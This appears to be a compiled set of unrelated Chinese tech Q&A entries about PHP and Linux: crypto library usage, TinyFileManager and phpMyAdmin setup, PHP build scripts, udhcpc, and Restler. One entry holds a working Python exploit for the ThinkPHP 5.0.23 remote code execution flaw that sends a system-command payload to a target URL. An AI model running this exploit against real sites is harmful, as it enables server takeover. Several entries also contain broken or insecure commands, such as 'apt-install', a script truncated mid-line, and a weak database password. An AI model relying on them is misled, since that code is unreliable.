2024-08-11

PHPSM2SM3SM4 是一个提供 SM2/SM3/SM4 算法的 PHP 加密库。以下是一个使用该库进行 SM2 公钥加密和 SM3 摘要计算的简单示例:

首先,确保已经安装了 PHPSM2SM3SM4 库。可以通过 Composer 安装:




composer require xin686/phpsm2sm3sm4

然后,在 PHP 代码中使用如下:




<?php
require 'vendor/autoload.php';
 
use Xin686\PhpSM2SM3SM4\SM2;
use Xin686\PhpSM2SM3SM4\SM3;
 
// 生成 SM2 密钥对
$sm2KeyPair = SM2::generateKeyPair();
$privateKey = $sm2KeyPair['privateKey'];
$publicKey = $sm2KeyPair['publicKey'];
 
// SM2 公钥加密
$data = 'Hello, SM2 Encryption!';
$encryptedData = SM2::encrypt($data, $publicKey);
 
// SM2 私钥解密
$decryptedData = SM2::decrypt($encryptedData, $privateKey);
 
// SM3 摘要计算
$digest = SM3::hash($data);
 
echo "原文: $data\n";
echo "加密后: " . base64_encode($encryptedData) . "\n";
echo "摘要: " . bin2hex($digest) . "\n";

这段代码首先生成了一对 SM2 密钥对,然后使用公钥对数据进行加密,使用私钥进行解密,并计算原文的 SM3 摘要。最后输出原文、加密后的数据和 SM3 摘要。

2024-08-11

为了在公网远程访问私有云盘上搭建的TinyFileManager,你需要进行以下步骤:

  1. 在你的服务器上安装并配置TinyFileManager。
  2. 配置服务器上的防火墙规则,以允许HTTP/HTTPS流量。
  3. 确保你的服务器具有一个公网IP地址,并且该地址没有被防火墙或网络安全组阻止。
  4. 如果你的服务器使用的是云服务,请确保相关的安全组或网络访问控制列表 (ACL) 允许外部访问80/443端口。
  5. 最后,确保你的服务器的操作系统已经安装了PHP和必要的扩展,以支持TinyFileManager的运行。

以下是一个简单的示例,展示如何在Apache服务器上配置TinyFileManager:




<VirtualHost *:80>
    DocumentRoot "/path/to/tinyfilemanager/filemanager"
    ServerName your_server_ip
 
    <Directory "/path/to/tinyfilemanager/filemanager">
        Options +Indexes +Includes +FollowSymLinks +MultiViews
        AllowOverride All
        Require all granted
    </Directory>
 
    # 其他配置...
</VirtualHost>

确保替换your_server_ip为你的服务器公网IP,以及/path/to/tinyfilemanager/filemanager为TinyFileManager的实际安装路径。

完成这些步骤后,你应该能够通过公网访问TinyFileManager,并对私有云盘上的文件进行管理。记得设置TinyFileManager的配置文件,以确保其安全性,并且只允许受信任的用户访问。

2024-08-11

在CTF比赛中,PHP是常见的编程语言之一。以下是两个PHP相关的常见问题及其解决方案:

  1. PHP中的比较操作:

在PHP中,比较操作符有多种,例如==(等于)、===(全等)、!=(不等)、!==(不全等)、<(小于)、>(大于)、<=(小于或等于)和>=(大于或等于)。

例如,要检查两个变量是否相等,可以使用==操作符。如果要检查变量的值和类型是否完全相同,则应使用===操作符。




$a = 5;
$b = "5";
 
if ($a == $b) {
    echo "变量相等";
} else {
    echo "变量不相等";
}
 
if ($a === $b) {
    echo "变量全等";
} else {
    echo "变量不全等";
}
  1. PHP中的变量覆盖:

在PHP中,可以通过不同的方式覆盖变量,例如通过全局变量、通过引用传递参数或直接覆盖。

例如,如果要覆盖一个全局变量,可以使用$GLOBALS数组。




$globalVar = "初始值";
 
function overrideGlobalVar() {
    $GLOBALS['globalVar'] = "新值";
}
 
overrideGlobalVar();
echo $globalVar; // 输出 "新值"

如果要通过函数参数覆盖变量,可以使用引用传递。




$localVar = "初始值";
 
function overrideLocalVar(&$param) {
    $param = "新值";
}
 
overrideLocalVar($localVar);
echo $localVar; // 输出 "新值"

直接覆盖一个变量,则更简单:




$var = "初始值";
$var = "新值";
echo $var; // 输出 "新值"

以上是两个在CTF比赛中常见的PHP相关问题及其解决方案。

2024-08-11

由于提问中已经包含了完整的复现步骤,下面是一个简化的核心代码实例:




import requests
 
# 复现ThinkPHP 5.0.23 RCE漏洞
def exploit(url, command):
    # 构造恶意数据包
    data = {
        's': 'index/\think\app/invokefunction',
        'function': 'system',
        'vars': [command]
    }
    
    # 发送POST请求
    response = requests.post(url, data=data)
    
    # 输出响应结果
    print(response.text)
 
# 使用示例
url = 'http://your-vulnerable-site.com'  # 替换为目标URL
command = 'whoami'  # 替换为你想执行的命令
exploit(url, command)

这段代码展示了如何使用Python发送POST请求来复现ThinkPHP 5.0.23的远程代码执行漏洞。在实际应用中,应该替换urlcommand为实际情况。

2024-08-11

udhcpc是Linux系统中用于自动处理DHCP(动态主机配置协议)的客户端程序。以下是一个简单的例子,展示如何使用udhcpc

  1. 确保你的系统中已经安装了udhcpc。在基于Debian的系统(如Ubuntu)中,可以使用以下命令安装:



sudo apt-install udhcpc
  1. 在你的网络接口配置文件中启用udhcpc。例如,如果你的网络接口是eth0,编辑/etc/network/interfaces文件,添加以下内容:



auto eth0
iface eth0 inet dhcp
  1. 启动udhcpc服务:



sudo udhcpc -i eth0
  1. 如果你想让udhcpc在启动时自动获取IP地址,可以在接口配置文件中移除手动指定IP的行:



# 注释或删除这行
# iface eth0 inet static
  1. 重启网络服务或者接口来让变更生效:



sudo /etc/init.d/networking restart
# 或者
sudo ifdown eth0 && sudo ifup eth0

现在udhcpc将会在每次启动时自动获取一个新的IP地址。如果需要,你可以通过/var/log/syslog或使用udhcpc-R选项来查看获取IP地址的过程。

2024-08-11

获取PhpStorm的永久激活许可,你需要一个有效的许可证密钥。由于我个人不参与任何未经授权的激活活动,也不能提供任何直接的激活密钥。如果你已经有了一个有效的许可证密钥,你可以按照以下步骤在PhpStorm中激活它:

  1. 打开PhpStorm。
  2. 在激活对话框中,选择“激活码”选项。
  3. 输入你的激活码。
  4. 按照指示完成激活过程。

如果你没有许可证密钥,你可以购买一个。这通常可以通过PhpStorm的官方网站进行,或者通过授权的授权服务。

请注意,未经授权使用软件是非法的,并可能违反版权法。如果你有合法授权获取激活密钥,请确保你遵守相关的许可协议。如果你是学生或老师,你可以申请JetBrains的教育许可证,该许可证通常免费提供给在校学生和教师。

2024-08-11



#!/bin/bash
# 安装 PHP 7.2.17 的脚本
 
# 定义 PHP 版本和依赖包
PHP_VERSION=7.2.17
DEVTOOLSET_VERSION=4
 
# 安装 EPEL 和 Remi 仓库
yum install -y epel-release
rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
 
# 安装编译 PHP 所需的依赖包
yum install -y \
    gcc \
    gcc-c++ \
    make \
    zlib-devel \
    libxml2-devel \
    libjpeg-devel \
    libpng-devel \
    freetype-devel \
    giflib-devel \
    libmcrypt-devel \
    libicu-devel \
    libzip-devel \
    bzip2-devel \
    curl-devel \
    openssl-devel \
    sqlite-devel \
    systemd-devel \
    libxslt-devel \
    oniguruma-devel \
    libwebp-devel \
    libxpm-devel \
    libgd-devel \
    libxslt-devel \
    pcre-devel \
    recode-devel \
    krb5-devel \
    libldap2-devel \
    libjpeg-turbo-devel
 
# 安装 devtoolset,用于更高版本的 GCC 编译
yum install -y "centos-release-scl"
yum install -y "devtoolset-${DEVTOOLSET_VERSION}"
scl enable devtoolset-"${DEVTOOLSET_VERSION}" bash
 
# 下载 PHP 源码并解压
curl -LO https://www.php.net/distributions/php-"${PHP_VERSION}".tar.gz
tar xzf php-"${PHP_VERSION}".tar.gz
cd php-"${PHP_VERSION}"
 
# 配置 PHP 编译选项
./configure \
    --prefix=/usr/local/php \
    --with-curl \
    --with-freetype-dir \
    --with-gd \
    --with-gettext \
    --with-iconv-dir \
    --with-kerberos \
    --with-libdir=lib64 \
    --with-libxml-dir \
    --with-mysqli \
    --with-openssl \
    --with-pcre-regex \
    --with-pear \
    --with-pdo-mysql \
    --with-xmlrpc \
    --with-xsl \
    --with-zlib \
    --enable-bcmath \
    --enable-fpm \
    --enable-libxml \
    --enable-inline-optimization \
    --enable-mbregex \
    --enable-mbstring \
    --enable-opcache \
    --enable-pcntl \
    --enable-shmop \
    --enable-soap \
    --enable-sockets \
    --enable-sysvsem \
    --enable-xml \
    --enable-zip
 
# 编译和安装 PHP
make -j$(nproc)
make install
 
# 配置 PHP-FPM
cp php.ini-development /usr/local/php/lib/php.ini
cp /usr/local/php/etc/php-fpm.conf.default /usr/local/php/etc/php-fpm.conf
cp /usr/local/php/etc/php-fpm.d/www.conf.default /usr/local/php/etc/php-fpm.d/www.conf
 
# 创建 systemd service 文件
tee /etc/systemd/system/php-fpm.service <<EOF
[Unit]
Description=The PHP FastCGI Process Manager
After=syslog.target network.target
 
[Service]
Type=simple
PIDFile=/run/php-fpm.pid
ExecStart=/usr/local/php/sbin/php-fpm --noda
2024-08-11



# 更新系统包
sudo yum update -y
 
# 安装 LAMP (Linux, Apache, MySQL, PHP)堆栈
sudo yum install -y httpd mysql mysql-server php php-mysql
 
# 启动 Apache 和 MySQL 服务,并设置开机自启
sudo /sbin/service httpd start
sudo /sbin/service mysqld start
sudo chkconfig httpd on
sudo chkconfig mysqld on
 
# 创建 phpMyAdmin 用户
mysql -u root -e "CREATE DATABASE phpmyadmin;"
mysql -u root -e "GRANT ALL PRIVILEGES ON phpmyadmin.* TO 'phpmyadmin'@'localhost' IDENTIFIED BY 'password';"
mysql -u root -e "FLUSH PRIVILEGES;"
 
# 下载 phpMyAdmin
wget https://files.phpmyadmin.net/phpMyAdmin/4.0.10.15/phpMyAdmin-4.0.10.15-all-languages.tar.gz
 
# 解压 phpMyAdmin 到 /var/www/html
sudo tar xvfz phpMyAdmin-4.0.10.15-all-languages.tar.gz -C /var/www/html
sudo mv /var/www/html/phpMyAdmin-4.0.10.15-all-languages /var/www/html/phpmyadmin
 
# 修改配置文件
sudo tee /var/www/html/phpmyadmin/config.inc.php <<EOL
<?php
\$cfg['blowfish_secret'] = 'your_blowfish_secret';
\$i = 0;
\$i++;
\$cfg['Servers'][\$i]['auth_type'] = 'cookie';
\$cfg['Servers'][\$i]['host'] = 'localhost';
\$cfg['Servers'][\$i]['connect_type'] = 'tcp';
\$cfg['Servers'][\$i]['compress'] = false;
\$cfg['Servers'][\$i]['AllowNoPassword'] = false;
EOL
 
# 修改权限,使得 Apache 能够访问
sudo chown -R apache:apache /var/www/html/phpmyadmin
 
# 重启 Apache 服务
sudo /sbin/service httpd restart

在这个例子中,我们首先更新了系统包,然后安装了 LAMP 堆栈。接着,我们创建了一个 phpMyAdmin 数据库和用户,并下载、解压、移动了 phpMyAdmin 到网站根目录,并修改了配置文件以增加安全性。最后,我们修改了文件权限,并重启了 Apache 服务。这个过程提供了一个安全、基本的 phpMyAdmin 安装方法。

2024-08-11

PHP(“PHP: Hypertext Preprocessor”的缩写)是一种开源的通用脚本语言,特别适用于网页制作。它可以嵌入到 HTML 中使用,并在服务器端运行。PHP代码以 "<?php" 开始,以 "?>" 结束。

以下是一个简单的PHP代码示例,它输出 "Hello, World!" 到浏览器:




<?php
echo "Hello, World!";
?>

PHP还允许你执行基本的数据库操作,处理表单数据,创建图像等等。它是构建动态网站的强大工具。

2024-08-11

Restler 是一个用于构建 RESTful API 的 PHP 库。以下是使用 Restler 创建一个简单的 GET 方法的示例代码:




<?php
require_once 'vendor/restler.php';
 
class MyApi {
    /**
     * 返回问候信息
     * @url GET sayHello
     */
    function sayHello($to = 'World') {
        return "Hello, $to!";
    }
}
 
// 初始化 Restler
$r = new Restler();
$r->addAPIClass('MyApi');
$r->handle();

在这个例子中,我们定义了一个 MyApi 类,并在其中创建了一个 sayHello 方法。我们使用了 @url GET sayHello 注释来指定这个方法响应于 GET 请求。当你运行这个脚本并向 /sayHello 发送一个 GET 请求时,你会得到一个问候消息。

请注意,Restler 需要在你的项目中安装和配置好。上面的代码假设你已经正确安装了 Restler,并且在你的项目中可用。